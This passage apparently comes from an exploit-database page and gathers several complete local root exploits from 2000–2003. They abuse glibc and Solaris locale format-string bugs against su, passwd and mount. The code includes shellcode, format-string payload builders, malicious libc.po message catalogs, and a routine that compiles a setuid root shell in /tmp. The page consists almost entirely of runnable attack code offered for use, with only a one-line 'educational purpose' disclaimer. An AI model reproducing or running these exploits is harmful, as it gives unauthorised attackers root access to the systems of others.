      chdir(LC_MESSAGES);

      f = fopen("libc.po", "w+");
      if (!f) {
	perror("fopen()");
	exit(0);
      }

      fprintf(f,"msgid \"%%s: invalid option -- %%c\\n\"\n");
      fprintf(f,"msgstr \"%s\\n\"", make_format_string(0xbfffffbb, eat,
1));
      fclose(f);

      sprintf(execbuf, "chmod 777 libc.po; %s libc.po -o libc.mo",
msgfmt);
      system(execbuf);

      pipe(&fds);

      if (!(pid = fork())) {

	close(fds[0]);
	close(1);
	close(2);

	dup2(fds[1], 1);
	dup2(fds[1], 2);

	env[0] = language;
	env[1] = NULL;

	args[0] = "/bin/su";
	args[1] = "-";
	args[2] = make_ret_str(test_value, pad);
	args[3] = "-w";
	args[4] = nop_env;
	args[5] = NULL;

	execve(args[0], args, env);
      }

      if (pid < 0) {
	perror("fork()");
	exit(0);
      }

      close(fds[1]);

      sprintf(tmpfile, "/tmp/tmprand%i", rand());
      tmpfd = open(tmpfile, O_RDWR | O_CREAT);
      if (tmpfd < 0) {
	perror("open()");
	exit(0);
      }
      while ((l = read(fds[0], buf, 1024)) > 0)
	write(tmpfd, buf, l);
      close(tmpfd);

      waitpid(pid, &l, 0);

      stat(tmpfile, &st);

      chmod(tmpfile, 0777);

      f = fopen(tmpfile, "r");
      if (!f) {
	perror("fopen()");
	exit(0);
      }

      if (readbuf) free(readbuf);
      readbuf = (char*) malloc(st.st_size);
      if (!readbuf) {
	printf("malloc failed\naborting\n");
	exit(0);
      }

      memset(readbuf, 0, st.st_size);

      fread(readbuf, 1, st.st_size, f);
      fclose(f);

      token = strtok(readbuf, "*");
      if (!token) continue;
      token = strtok(NULL, "*");
      if (!token) continue;

      t1 = strtoul(token, NULL, 16);
      token = strtok(NULL, "*");
      if (!token) continue;
      token = strtok(NULL, "*");
      if (!token) continue;
      t2 = strtoul(token, NULL, 16);

      if (t2 == test_value)
	if (t1 == (test_value+2)) {
	  *eatr = eat;
	  *padr = pad;
	  sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
	  system(execbuf);
	  if (tmpfile[0]) unlink(tmpfile);
	  return;
	}

      //      sleep(10);
    }
    printf(".");
    fflush(stdout);
  }

  if (tmpfile[0]) unlink(tmpfile);
  sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
  system(execbuf);

  printf("failed to calculate eat and pad values. glibc patched or
invalid language?\naborting\n");
  exit(0);
}

void checkfor(char *p)
{
  int fd;
  fd = open(p, O_RDONLY);
  if (fd < 0) {
    printf("failed\naborting\n");
    exit(0);
  }
  close(fd);
  printf("Ok\n");
  fflush(stdout);
}

void make_suid_shell()
{
  FILE *f;
  char execbuf[1024];

  f = fopen("/tmp/kidd0.c", "w");
  if (!f) {
    printf(" failed to create /tmp/kidd0.c\naborting\n");
    exit(0);
  }

  fprintf(f, "int main() { setuid(0); setgid(0); system(\"/bin/sh\");
}");
  fclose(f);

  sprintf(execbuf, "gcc /tmp/kidd0.c -o /tmp/kidd0");
  system(execbuf);

  sprintf(execbuf, "rm -f /tmp/kidd0.c");
  system(execbuf);

  f = fopen("/tmp/kidd0", "r");
  if (!f) {
    printf(" failed to compile /tmp/kidd0.c\naborting\n");
    exit(0);
  }
  fclose(f);

  printf(" /tmp/kidd0 created Ok\n");
  fflush(stdout);
}

void search_valid_language()
{
  DIR *locale;
  struct dirent *dentry;

  locale = opendir("/usr/share/locale");
  if (!locale) {
    perror("failed to opendir /usr/share/locale");
    printf("aborting\n");
    exit(0);
  }

  while (dentry = readdir(locale)) {

    if (!strchr(dentry->d_name, '_')) continue;

    language = (char*) malloc(40 + strlen(dentry->d_name));
    if (!language) {
      printf("malloc failed\naborting\n");
      exit(0);
    }
    memset(language, 0, 40 + strlen(dentry->d_name));
    sprintf(language, "LANGUAGE=%s/../../../../../../tmp",
dentry->d_name);
    closedir(locale);
    printf(" [using %s] ", dentry->d_name);
    return;
  }

  printf("failed to find a valid language\naborting\n");
  exit(0);
}


// milw0rm.com [2000-11-30]
		

- 漏洞信息 (210)

Solaris locale Format Strings (noexec stack) Exploit (EDBID:210)
solaris local
2000-11-30 Verified
0 warning3
N/A [点击下载]
/*
 * exploit for locale subsystem format strings bug In Solaris with noexec stack.
 * Tested in Solaris 2.6/7.0 (If it wont work, try adjust retloc offset. e.g. 
 * ./ex -o -4 )
 *
 * $gcc -o ex ex.c `ldd /usr/bin/passwd|sed -e 's/^.lib\([_0-9a-zA-Z]*\)\.so.*/-l\1/'`
 * usages: ./ex -h
 *
 * Thanks for Ivan Arce <iarce@core-sdi.com> who found this bug.
 * Thanks for horizon's great article about defeating noexec stack for Solaris.
 *
 * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
 * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
 *
 *     by warning3@nsfocus.com (http://www.nsfocus.com)
 *             y2k/11/10
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#include <fcntl.h>
#include <dlfcn.h>

#define BUFSIZE 2048			/* the size of format string buffer	*/
#define BUFF    128			/* the progname buffer size		*/
#define SHELL   "/bin/ksh"		/* shell name				*/
#define DEFAULT_NUM 68			/* format strings number		*/
#define DEFAULT_RETLOC 0xffbefb44	/* default retloc address		*/
#define VULPROG  "/usr/bin/passwd"	/* vulnerable program name		*/

void usages(char *progname)
{
  int i;
  printf("Usage: %s \n", progname);
  printf("    [-h]       Help menu\n");
  printf("    [-n number]      format string's number\n");
  printf("    [-a align]       retloc buffer alignment\n");
  printf("    [-o offset]      retloc offset\n\n");

}

/* get current stack point address to guess Return address */
long get_sp(void)
{
  __asm__("mov %sp,%i0");
}

main( int argc, char **argv )
{
  char *pattern, retlocbuf[BUFF], *env[11];
  char plat[BUFF], *ptr;
  long sh_addr, sp_addr, i;
  long retloc = DEFAULT_RETLOC, num = DEFAULT_NUM,  align = 0, offset=0;
  long  *addrptr;
  long reth, retl, reth1, retl1;
  FILE *fp;
  

  extern int optind, opterr;
  extern char *optarg;
  int opt;

  void *handle;
  long execl_addr, fp_addr, fp1_addr;
  char fakeframe[512];
  char padding[64], pad = 0;
  int env_len, arg_len, len;

  char progname[BUFF];
  strncpy(progname, argv[0], BUFF-1);

  while ((opt = getopt(argc, argv, "n:a:o:h")) != -1)
    switch((char)opt)
    {

      case 'n':
        num = atoi(optarg);
        break;

      case 'a':
        align = atoi(optarg);
        break;
      case 'o':
        offset = atoi(optarg);
        break;
      case '?':
      case 'h':
      default:
        usages(progname);
        exit(0);
    }

  retloc +=  offset;
  
  /* get platform info  */
  sysinfo(SI_PLATFORM,plat,256);

  /* Construct fake frame in environ */
  
  env[0] = "NLSPATH=:.";
  env[1] = padding;      /* padding so that fakeframe's address can be divided by 4 */
  /* sh_addr|sh_addr|0x00000000|fp2|fp2|fp2|fp2|fp2|0x00|/bin/ksh|0x00 */
  env[2]=(fakeframe);     /* sh_addr|sh_addr|0x00           */
  env[3]=&(fakeframe[40]);/*         |0x00      */
  env[4]=&(fakeframe[40]);/*        |0x00       */
  env[5]=&(fakeframe[40]);/*             |0x00  */
  env[6]=&(fakeframe[44]);/*            |fp2|fp2|fp2|fp2|fp2*/
  env[7]=SHELL;     /* shell strings */
  env[8]=NULL;

  /* calculate the length of "VULPROG" + argv[1] */
  arg_len = strlen(VULPROG) + strlen("-z") + 2;

  /* calculate the pad nummber .
   * We manage to let the length of padding + arg_len + "NLSPATH=." can
   * be divided by 4. So fakeframe address is aligned with 4, otherwise
   * the exploit won't work.
   */
  pad = 3 - (arg_len + strlen(env[0]) +1)%4;
  memset(padding, 'A', pad);
  padding[pad] = '\0';

  /* get environ length */
  env_len = 0; 
  for(i = 0 ; i < 8 ; i++ )
    env_len += strlen(env[i]) + 1;

 /* get the length from argv[0] to stack bottom 
  *                  
  * +------------------------+-----------+--------+-----------+--------+
  * |argv[0]argv[1]...argv[n]|env0...envn|platform|programname|00000000|
  * +------------------------+-----------+--------+-----------+--------+
  * ^               ^ 
  * |__startaddr                |__sp_addr 
  *
  * "sp_addr" = 0xffbefffc(Solaris 7/8) or 0xeffffffc(Solaris 2.6)
  *
  *  I find "startaddr" always can be divided by 4.
  *  So we can adjust the padding's size to let the fakeframe address
  *  can be aligned with 4.
  *
  * len = length of "argv" + "env" + "platform" + "program name" 
  * if (len%4)!=0, sp_addr - startaddr =  (len/4)*4 + 4
  * if (len%4)==0, sp_addr - startaddr =  len
  * So we can get every entry's address precisely based on startaddr or sp_addr.
  * Now we won't be bored with guessing the alignment and offset.:)
  */
  len = arg_len + env_len + strlen(plat) + 1 
  + strlen(VULPROG) + 1;
  printf("len = %#x\n", len);

  /* get stack bottom address */

  sp_addr = (get_sp() | 0xffff) & 0xfffffffc;

  /* fp1_addr must be valid stack address */
  fp1_addr = (sp_addr & 0xfffffac0);

  /* get shell string address */
  sh_addr =  sp_addr - (4 - len%4) /* the trailing zero number */
         - strlen(VULPROG) - strlen(plat)  - strlen(SHELL) - 3 ;

   printf("SHELL address = %#x\n", sh_addr);
   
  /* get our fake frame address */
  fp_addr = sh_addr - 8*8 - 1;

  /* get execl() address */
  if (!(handle=dlopen(NULL,RTLD_LAZY)))
  {            
    fprintf(stderr,"Can't dlopen myself.\n");
    exit(1);
  }
  if ((execl_addr=(long)dlsym(handle,"execl"))==NULL)
  {
    fprintf(stderr,"Can't find execl().\n");
    exit(1);
  }           
    
  /* dec 4 to skip the 'save' instructure */
  execl_addr -= 4;
  
  /* check if the exec addr includes zero  */
  if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
    !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
  {
    fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
    exit(1);
  }

  printf("Using execl() address : %#x\n",execl_addr);

  /* now we set up our fake stack frame */

  addrptr=(long *)fakeframe;

  *addrptr++= 0x12345678; /* you can put any data in  local registers */
  *addrptr++= 0x12345678;
  *addrptr++= 0x12345678;
  *addrptr++= 0x12345678;
  *addrptr++= 0x12345678;
  *addrptr++= 0x12345678;
  *addrptr++= 0x12345678;
  *addrptr++= 0x12345678;

  *addrptr++=sh_addr;      /* points to our string to exec */
  *addrptr++=sh_addr;      /* argv[1] is a copy of argv[0] */
  *addrptr++=0x0;    /* NULL for execl();  &fakeframe[40] */
  *addrptr++=fp1_addr;     /* &fakeframe[44] */
  *addrptr++=fp1_addr;
  *addrptr++=fp1_addr;
  *addrptr++=fp1_addr;     /* we need this address to work  */
  *addrptr++=fp1_addr; /* cause we don't need exec another func,so put garbage here */
  *addrptr++=0x0;

  /* get correct retloc in solaris 2.6(0xefffxxxx) and solaris 7/8 (0xffbexxxx) */
  retloc = (get_sp()&0xffff0000) + (retloc & 0x0000ffff);

  printf("Using RETloc address = 0x%x,  fp_addr = 0x%x  ,align= %d\n", retloc, fp_addr, align );

  /* Let's make reloc buffer: |AAAA|retloc-4|AAAA|retloc-2|AAAA|retloc|AAAA|retloc+2|*/

  addrptr = (long *)retlocbuf;

  for( i = 0 ; i < 8 ; i ++ )
    *(addrptr + i) = 0x41414141;
    *(addrptr + 1) = retloc - 4;
    *(addrptr + 3) = retloc - 2;
    *(addrptr + 5) = retloc ;
    *(addrptr + 7) = retloc + 2;

  if((pattern = (char *)malloc(BUFSIZE)) == NULL) {
    printf("Can't get enough memory!\n");
    exit(-1);
  }

  /* Let's make formats string buffer: 
   * |A..AAAAAAAAAAAA|%.8x....|%(fp1)c%hn%(fp2)%hn%(execl1)c%hn%(execl2)%hn|  
   */
  ptr = pattern;
  memset(ptr, 'A', 32);
  ptr += 32;

  for(i = 0 ; i < num ; i++ ){
    memcpy(ptr, "%.8x", 4);
    ptr += 4;
  }

  reth = (fp_addr >> 16) & 0xffff ;
  retl = (fp_addr >>  0) & 0xffff ;
  reth1 = (execl_addr >> 16) & 0xffff ;
  retl1 = (execl_addr >>  0) & 0xffff ;
  

  /* Big endian arch */
  sprintf(ptr, "%%%uc%%hn%%%uc%%hn%%%uc%%hn%%%uc%%hn",
         (reth - num*8 -4*8 + align ), (0x10000 +  retl - reth),
         (0x20000 + reth1 - retl), (0x30000 + retl1 - reth1));

  if( !(fp = fopen("messages.po", "w+")))
  {
    perror("fopen");
    exit(1);
  }
  fprintf(fp,"domain \"messages\"\n");
  fprintf(fp,"msgid  \"%%s: illegal option -- %%c\\n\"\n");
  fprintf(fp,"msgstr \"%s\\n\"", pattern + align);
  fclose(fp);
  system("/usr/bin/msgfmt -o SUNW_OST_OSLIB messages.po");

  /* thanks for z33d's idea. 
   * It seems we have to do like this in Solaris 8.
   */
  i=open("./SUNW_OST_OSLIB",O_RDWR);
  /* locate the start position of formats strings in binary file*/
  lseek(i, 62, SEEK_SET);
  /* replace the start bytes with our retlocbuf */
  write(i, retlocbuf + align, 32 - align);
  close(i);

  execle(VULPROG, VULPROG, "-z", NULL, env);
}


// milw0rm.com [2000-11-30]
		

- 漏洞信息 (215)

mount exploit for glibc locale bug (EDBID:215)
linux local
2000-12-02 Verified
0 sk8
N/A [点击下载]
/*
 *                mount exploit for glibc locale bug 
 *       tested on redhat 6.2 and slackware 7.0 and debian 2.2
 *
 *  Debian 2.2 (mount-2.10f)        : ./mnt -n 136 -a 0x080589a0 -i 192
 *  Redhat 6.2 (mount-2.10f)        : ./mnt -n 114 -a 0x080565dc -i 112
 *  compiled on rh 6.2 (mount-2.10m): ./mnt -n 114 -a 0x08059218 -i 112
 *
 *      "objdump /bin/mount | grep exit" to get the -a address
 *
 *                                                         - sk8
 */

#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>

char sc[]=
  /* main: */                            /* setreuid(0, 0);          */
  "\x29\xc0"                             /* subl %eax, %eax          */
  "\xb0\x46"                             /* movb $70, %al            */
  "\x29\xdb"                             /* subl %ebx, %ebx          */
  "\xb3\x0c"                             /* movb $12, %bl            */
  "\x80\xeb\x0c"                         /* subb $12, %bl */
  "\x89\xd9"                             /* movl %ebx, %ecx          */
  "\xcd\x80"                             /* int $0x80                */
  "\xeb\x18"                             /* jmp callz                */

  /* start: */                           /* execve of /bin/sh        */
  "\x5e"                                 /* popl %esi                */
  "\x29\xc0"                             /* subl %eax, %eax          */
  "\x88\x46\x07"                         /* movb %al, 0x07(%esi)     */
  "\x89\x46\x0c"                         /* movl %eax, 0x0c(%esi)    */
  "\x89\x76\x08"                         /* movl %esi, 0x08(%esi)    */
  "\xb0\x0b"                             /* movb $0x0b, %al          */
  "\x87\xf3"                             /* xchgl %esi, %ebx         */
  "\x8d\x4b\x08"                         /* leal 0x08(%ebx), %ecx    */
  "\x8d\x53\x0c"                         /* leal 0x0c(%ebx), %edx    */
  "\xcd\x80"                             /* int $0x80                */

  /* callz: */
  "\xe8\xe3\xff\xff\xff"                 /* call start               */

  /* /bin/sh */
  "\x2f\x62\x69\x6e\x2f\x73\x68";

int main(int argc, char** argv) {
  FILE* fp;
  int numnops=10080;
  char buffer[20000], fmtbuf[1000], numbuf[2000];
  int shloc=0xbfffdaa0;
  int i=0, c=0; 
  char mode='n';
  int debug=0;
  int eiploc=0xbffffdc0;
  char* envbuf[2];
  int inc=112;
  int epad=-1, bpad=0;
  int s=0;  
  int nump=114;
  int num[4];
  char xpath[128];
  char* heapaddr=(char*)malloc(200);  
  memset(xpath, 0, strlen(xpath));
  memset(buffer, 0, sizeof(buffer));
  memset(fmtbuf, 0, sizeof(fmtbuf));
  memset(numbuf, 0, sizeof(numbuf));
  printf("heapaddr: 0x%x\n", heapaddr);
  c=0;
  strcpy (xpath, "/bin/mount");

  while ((s=getopt(argc, argv, "p:s:b:e:a:n:i:d")) != EOF) {
    switch(s) {
      case 's': shloc=strtoul(optarg, 0, 0); break;
      case 'b': bpad=atoi(optarg); break;
      case 'e': epad=atoi(optarg); break;
      case 'a': eiploc=strtoul(optarg, 0, 0); break;
      case 'n': nump=atoi(optarg); break;
      case 'i': inc=atoi(optarg); break;
      case 'p': strcpy(xpath, optarg); break;
      case 'd': debug=1; break;
      default: 
    }
  }

  if (epad < 0) epad=10-strlen(xpath)%16;
  if (epad < 0) epad+=16;

  for (i=0; i < nump; i++) {
    buffer[c++]='%';
    buffer[c++]='8';
    buffer[c++]='x';
  }

  if (debug) { mode='p';
    strcpy(sc, "AAAA");
    numnops=0;
  }
  printf("cur strlen: %i\n", strlen(buffer));

  /* size of executed program (/bin/mount) does not seem to affect these calculations
     it does affect location of eip however, (which is why its nice to just overwrite exit 
     it also affects epadding, but that is calculated based on executed program size
  */
  num[0]=(shloc & 0xff)+inc; /* why 23? 114/4 - 5 */
  if (num[0] < 0) num[0]+=256;
  num[1]=((shloc >> 8) & 0xff)-(shloc & 0xff);
  if (num[1] < 0) num[1]+=256;
  num[2]=((shloc >> 16) & 0xff)+0x100-((shloc >> 8)&0xff);
  if (num[2] < 0) num[2]+=256;
  num[3]=((shloc >> 24) & 0xff)+1;
  if (num[3] < 0) num[3]+=256;

  sprintf(fmtbuf, "%%%id%%h%c%%%id%%h%c%%%id%%h%c%%%id%%h%c", num[0]
    , mode, num[1], mode, num[2], mode, num[3], mode);
  printf("fmtbuf: %s\n", fmtbuf);
  printf("strlen(fmtbuf): %i\n", strlen(fmtbuf));
  memcpy(buffer+strlen(buffer), fmtbuf, strlen(fmtbuf));

  memset(buffer+strlen(buffer), 0x90, numnops);
  memcpy(buffer+strlen(buffer), sc, strlen(sc));
  
  mkdir("/tmp/sk8", 0755);
  mkdir("/tmp/sk8/LC_MESSAGES", 0755);
  if ( ! (fp=fopen("/tmp/sk8/LC_MESSAGES/libc.po", "w") ) ) {
    printf("could not create bad libc.po\n");
    exit(-1);
  }  
  fprintf(fp, "msgid \"%%s: unrecognized option `--%%s'\\n\"\n");
  fprintf(fp, "msgstr \"%s\\n\"", buffer);
  fclose(fp);

  system("msgfmt /tmp/sk8/LC_MESSAGES/libc.po -o /tmp/sk8/LC_MESSAGES/libc.mo");

  c=0;
  numbuf[c++]='-';
  numbuf[c++]='-';
  
  memset(numbuf+strlen(numbuf), 'B', bpad);
  
  memcpy(numbuf+strlen(numbuf), "PPPP", 4);
  *(long*)(numbuf+strlen(numbuf))=eiploc;

  memcpy(numbuf+strlen(numbuf), "PPPP", 4);
  *(long*)(numbuf+strlen(numbuf))=eiploc+1;

  memcpy(numbuf+strlen(numbuf), "PPPP", 4);
  *(long*)(numbuf+strlen(numbuf))=eiploc+2;

  memcpy(numbuf+strlen(numbuf), "PPPP", 4);
  *(long*)(numbuf+strlen(numbuf))=eiploc+3;
  printf("cur numbuf length: %i\n", strlen(numbuf));
  memset(numbuf+strlen(numbuf), 'Z', epad);
  printf("cur numbuf length: %i\n", strlen(numbuf));

  envbuf[0]="LANGUAGE=en_GB/../../../../tmp/sk8/";
  envbuf[1]=0;

  printf("strlen(numbuf): %i\n", strlen(numbuf));
  printf("bpad: %i; epad: %i\n", bpad, epad);  
  printf("number of %%p's to traverse stack: %i\n", nump);
  printf("address of eip: 0x%x\n", eiploc);
  printf("inc: %i\n", inc);

  execle(xpath, "mount", numbuf, 0, envbuf);  
}


// milw0rm.com [2000-12-02]
		

- 漏洞信息 (249)

GLIBC locale format strings exploit (EDBID:249)
linux local
2003-01-15 Verified
0 logikal
N/A [点击下载]
/* su.c by xp, modified by logikal@efnet - tested on redhat 5 -> 7 */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <getopt.h>
#include <dirent.h>

char *shellcode =
"\x31\xc0\x83\xc0\x17\x31\xdb\xcd\x80\xeb"
"\x30\x5f\x31\xc9\x88\x4f\x17\x88\x4f\x1a"
"\x8d\x5f\x10\x89\x1f\x8d\x47\x18\x89\x47"
"\x04\x8d\x47\x1b\x89\x47\x08\x31\xc0\x89"
"\x47\x0c\x8d\x0f\x8d\x57\x0c\x83\xc0\x0b"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
"\xcb\xff\xff\xff\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x2f\x62\x69\x6e\x2f\x73\x68\x30\x2d\x63"
"\x30"
"chown root /tmp/xp;chmod 4777 /tmp/xp";

char *LC_MESSAGES = "/tmp/LC_MESSAGES";
int NOP_LEN = 12000;

char *msgfmt = "/usr/bin/msgfmt";
char *objdump = "/usr/bin/objdump";
char *language = NULL;

char *make_format_string(unsigned long, int, int);
unsigned long get_dtors_addr();
char *make_ret_str(unsigned long, int);
void calculate_eat_space(int *, int *);
void checkfor(char*);
void make_suid_shell();
void search_valid_language();

int main(int argc, char **argv)
{
  char execbuf[1024];
  unsigned long dtors_addr = 0xAABBCCDD;
  unsigned long sh_addr = 0xBFFFFFFF;
  FILE *f;
  char *env[3];
  char *args[6];
  int eat = 0, pad = 0, fd;
  char *nop_env;
  int offset = 5000;
  struct stat st;
  int pid, c;
  char randfile[1024];
  char *args2[2], opt;

  printf("su exploit by XP <xp@xtreme-power.com>\n");
  printf("Enjoy!\n\n");

  while ((opt = getopt(argc, argv, "o:n:m:O:e:l:")) != EOF)
    switch(opt) {
    case 'o':
      offset = atoi(optarg);
      break;
    case 'n':
      NOP_LEN = atoi(optarg);
      break;
    case 'm':
      msgfmt = strdup(optarg);
      break;
    case 'O':
      objdump = strdup(optarg);
      break;
    case 'e':
      sscanf(optarg, "%i:%i", &eat, &pad);
      break;
    case 'l':
      language = (char*) malloc(40 + strlen(optarg));
      if (!language) {
printf("malloc failed\naborting\n");
exit(0);
      }
      memset(language, 0, 40 + strlen(optarg));
      sprintf(language, "LANGUAGE=%s/../../../../../../tmp", optarg);
      break;
    default:
      exit(0);
    }

  printf("Phase 1. Checking paths and write permisions\n");
  printf(" Checking for %s...", msgfmt);
  checkfor(msgfmt);
  printf(" Checking for %s...", objdump);
  checkfor(objdump);

  printf(" Checking write permisions on /tmp...");
  if (stat("/tmp", &st) < 0) {
    printf("failed. cannot stat /tmp\naborting\n");
    exit(0);
  }

  if (!(st.st_mode & S_IWOTH)) {
    printf("failed. /tmp it's not +w\naborting\n");
    exit(0);
  }
  printf("Ok\n");
  fflush(stdout);

  printf(" Checking read permisions on /bin/su...");
  if (stat("/bin/su", &st) < 0) {
    printf("failed. cannot stat /bin/su\naborting\n");
    exit(0);
  }

  if (!(st.st_mode & S_IROTH)) {
    printf("failed. /bin/su it's not +r\naborting\n");
    exit(0);
  }
  printf("Ok\n");
  fflush(stdout);

  if (!language) {
    printf(" Checking for a valid language...");
    search_valid_language();
    printf("Ok\n");
  }

  printf(" Checking that %s does not exist...", LC_MESSAGES);
  if (stat(LC_MESSAGES, &st) >= 0) {
    printf("failed. %s exists\naborting\n", LC_MESSAGES);
    exit(0);
  }
  printf("Ok\n");
  fflush(stdout);

  printf("Phase 2. Calculating eat and pad values\n ");
  srand(time(NULL));

  if (eat || pad) printf("skkiping, values set by user to eat = %i and
pad = %i\n", eat, pad);
  else {
    calculate_eat_space(&eat, &pad);
    printf("done\n eat = %i and pad = %i\n", eat, pad);
  }
  fflush(stdout);

  sh_addr -= offset;

  printf("Phase 3. Creating evil libc.mo and setting enviroment
vars\n");
  fflush(stdout);

  mkdir(LC_MESSAGES, 0755);
  chdir(LC_MESSAGES);

  f = fopen("libc.po", "w+");
  if (!f) {
    perror("fopen()");
    exit(0);
  }
  fprintf(f,"msgid \"%%s: invalid option -- %%c\\n\"\n");
  fprintf(f,"msgstr \"%s\\n\"", make_format_string(sh_addr, eat, 0));
  fclose(f);

  sprintf(execbuf, "%s libc.po -o libc.mo; chmod 777 libc.mo", msgfmt);
  system(execbuf);

  nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);
  if (!nop_env) {
    printf("malloc failed\naborting\n");
    exit(0);
  }
  memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);
  sprintf(&nop_env[NOP_LEN], "%s", shellcode);

  env[0] = language;
  env[1] = NULL;

  printf("Phase 4. Getting address of .dtors section of /bin/su\n ");
  dtors_addr = get_dtors_addr();
  printf("done\n .dtors is at 0x%08x\n", dtors_addr);
  fflush(stdout);

  printf("Phase 5. Compiling suid shell\n");
  fflush(stdout);

  make_suid_shell();

  printf("Phase 6. Executing /bin/su\n");
  fflush(stdout);

  args[0] = "/bin/su";
  args[1] = "-";
  args[2] = make_ret_str(dtors_addr, pad);
  args[3] = "-w";
  args[4] = nop_env;
  args[5] = NULL;

  sprintf(randfile, "/tmp/tmprand%i", rand());

  if (!(pid = fork())) {
    close(1);
    close(2);
    fd = open(randfile, O_CREAT | O_RDWR);
    dup2(fd, 1);
    dup2(fd, 2);
    execve(args[0], args, env);
    printf("failed to exec /bin/su\n"); exit(0);
  }

  if (pid < 0) {
    perror("fork()");
    exit(0);
  }

  waitpid(pid, &c, 0);

  unlink(randfile);

  stat("/tmp/xp", &st);
  if (!(S_ISUID & st.st_mode)) {
    printf("failed to put mode 4777 to /tmp/xp\naborting\n");
    exit(0);
  }

  printf(" - Entering rootshell ;-) -\n");
  fflush(stdout);

  if (!(pid = fork())) {
    args2[0] = "/tmp/xp";
    args2[1] = NULL;
    execve(args2[0], args2, NULL);
    printf("failed to exec /tmp/xp\n");
    exit(0);
  }

  if (pid < 0) {
    perror("fork()");
    exit(0);
  }

  waitpid(pid, &c, 0);

  printf("Phase 7. Cleaning enviroment\n");
  sprintf(execbuf, "rm -rf %s /tmp/xp", LC_MESSAGES);
  system(execbuf);
}

char ret_make_format[0xffff];

char *make_format_string(unsigned long sh_addr, int eat, int test)
{
  char *ret = ret_make_format;
  int c, waste;
  int hi, lo;

  memset(ret, 0, 0xffff);

  for (c = 0; c < eat; c++) strcat(ret, "%8x");

  waste = 8 * eat;

  hi = (sh_addr & 0xffff0000) >> 16;
  lo = (sh_addr & 0xffff) - hi;
  if (!test) {
    sprintf(&ret[strlen(ret)], "%%0%ux%%hn", hi-waste);
    sprintf(&ret[strlen(ret)], "%%0%ux%%hn", lo);
  }
  else strcat(ret, "%8x *0x%08x* %8x *0x%08x*");
  return ret;
}

unsigned long get_dtors_addr()
{
  char exec_buf[1024];
  char file[128];
  char buf[1024], sect[1024];
  FILE *f;
  unsigned long ret = 0, tmp1, tmp2, tmp3;

  sprintf(file, "/tmp/tmprand%i", rand());
  sprintf(exec_buf, "%s -h /bin/su > %s", objdump, file);

  system(exec_buf);

  f = fopen(file, "r");
  if (!f) {
    perror("fopen()");
    exit(0);
  }

  while (!feof(f)) {
    fgets(buf, 1024, f);
    sscanf(buf, " %i .%s %x %x \n", &tmp1, sect, &tmp2, &tmp3);
    printf("."); fflush(stdout);
    if (strcmp(sect, "dtors")) continue;
    ret = tmp3;
    break;
  }

  unlink(file);

  if (!ret) {
    printf("error getting the address of .dtors\naborting");
    exit(0);
  }

  return ret+4;
}

char ret_make_ret_str[0xffff];

char *make_ret_str(unsigned long dtors_addr, int pad)
{
  char *ret = ret_make_ret_str, *ptr2;
  unsigned long *ptr = (unsigned long*) ret;
  int c;

  memset(ret, 0, 0xffff);

  *ptr = dtors_addr+2;
  *(ptr+1) = 0xAABBCCDD;
  *(ptr+2) = dtors_addr;

  ptr2 = &ret[strlen(ret)];
  while (pad--)
    *(ptr2++) = 0xaa;

  return ret;
}

void calculate_eat_space(int *eatr, int *padr)
{
  int eat = 0, pad = 0;
  char tmpfile[128];
  FILE *f;
  char execbuf[1024];
  int fds[2], tmpfd;
  unsigned long test_value = 0xAABBCCDD;
  char *nop_env;
  char *env[2];
  char *args[6];
  char buf[1024];
  int l, pid;
  struct stat st;
  char *readbuf = NULL, *token;
  unsigned long t1, t2;

  tmpfile[0] = '\0';

  nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);
  if (!nop_env) {
    printf("malloc failed\naborting\n");
    exit(0);
  }
  memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);
  sprintf(&nop_env[NOP_LEN], "%s", shellcode);

  for (eat = 50; eat < 200; eat++) {
    for (pad = 0; pad < 4; pad++) {

      if (tmpfile[0]) unlink(tmpfile);

      chdir("/");

      sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
      system(execbuf);

      mkdir(LC_MESSAGES, 0755);
      chdir(LC_MESSAGES);

      f = fopen("libc.po", "w+");
      if (!f) {
perror("fopen()");
exit(0);
      }

      fprintf(f,"msgid \"%%s: invalid option -- %%c\\n\"\n");
      fprintf(f,"msgstr \"%s\\n\"", make_format_string(0xbfffffbb, eat,
1));
      fclose(f);

      sprintf(execbuf, "chmod 777 libc.po; %s libc.po -o libc.mo",
msgfmt);
      system(execbuf);

      pipe(&fds);

      if (!(pid = fork())) {

close(fds[0]);
close(1);
close(2);

dup2(fds[1], 1);
dup2(fds[1], 2);

env[0] = language;
env[1] = NULL;

args[0] = "/bin/su";
args[1] = "-";
args[2] = make_ret_str(test_value, pad);
args[3] = "-w";
args[4] = nop_env;
args[5] = NULL;

execve(args[0], args, env);
      }

      if (pid < 0) {
perror("fork()");
exit(0);
      }

      close(fds[1]);

      sprintf(tmpfile, "/tmp/tmprand%i", rand());
      tmpfd = open(tmpfile, O_RDWR | O_CREAT);
      if (tmpfd < 0) {
perror("open()");
exit(0);
      }
      while ((l = read(fds[0], buf, 1024)) > 0)
write(tmpfd, buf, l);
      close(tmpfd);

      waitpid(pid, &l, 0);

      stat(tmpfile, &st);

      chmod(tmpfile, 0777);

      f = fopen(tmpfile, "r");
      if (!f) {
perror("fopen()");
exit(0);
      }

      if (readbuf) free(readbuf);
      readbuf = (char*) malloc(st.st_size);
      if (!readbuf) {
printf("malloc failed\naborting\n");
exit(0);
      }

      memset(readbuf, 0, st.st_size);

      fread(readbuf, 1, st.st_size, f);
      fclose(f);

      token = strtok(readbuf, "*");
      if (!token) continue;
      token = strtok(NULL, "*");
      if (!token) continue;

